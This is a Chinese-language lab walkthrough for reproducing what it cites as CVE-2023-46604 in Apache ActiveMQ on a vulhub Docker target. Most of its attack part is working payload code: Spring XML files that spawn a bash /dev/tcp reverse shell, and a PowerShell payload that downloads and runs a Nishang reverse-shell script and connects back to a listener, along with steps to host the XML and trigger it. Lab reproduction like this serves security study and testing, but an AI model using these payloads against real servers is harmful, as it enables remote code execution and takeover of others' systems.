漏洞复现

环境搭建

机器:

  • 靶机IP:192.168.88.63

  • 测试机IP:192.168.88.108

  • nc监听可以自己找服务器等

使用vulhub的docker容器搭建环境

ActiveMQ运行后,默认监听如下两个端口:

| 默认端口      | 默认条件      |
|-----------|-----------|
| 8161  web | 需配置才可远程访问 |
| 61616 tcp | 远程访问      |

进入漏洞环境内,docker-compose up -d启动漏洞环境

访问8161web端口,账号admin密码admin,8161正常访问则环境正常启动

复现利用

通过查看自带的poc.xml查看是通过命令执行创建创建文件。

如果要反弹shell就要修改poc.xml文件了

反弹shell的poc.xml:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

注:上述poc.xml中的bash -i >& /dev/tcp/ip/port 0>&1的ip和port换成你自己nc监听的ip和port

将修改后的poc.xml文件放到服务器或者受害机能访问到机器上,并开启http服务,保证执行脚本时能请求到poc.xml文件

通过执行python脚本,即可执行我们修改好的poc.xml里面的命令。

poc归总

win_payload:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
 
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>powershell</value>
                <value>-c</value>
                <value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.128 -Port 3333]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

远程下载Invoke-PowerShellTcp.ps1并执行连接

Linux_payload:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/ip/端口 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

参考连接

https://blog.csdn.net/qq_61872115/article/details/138211697

https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604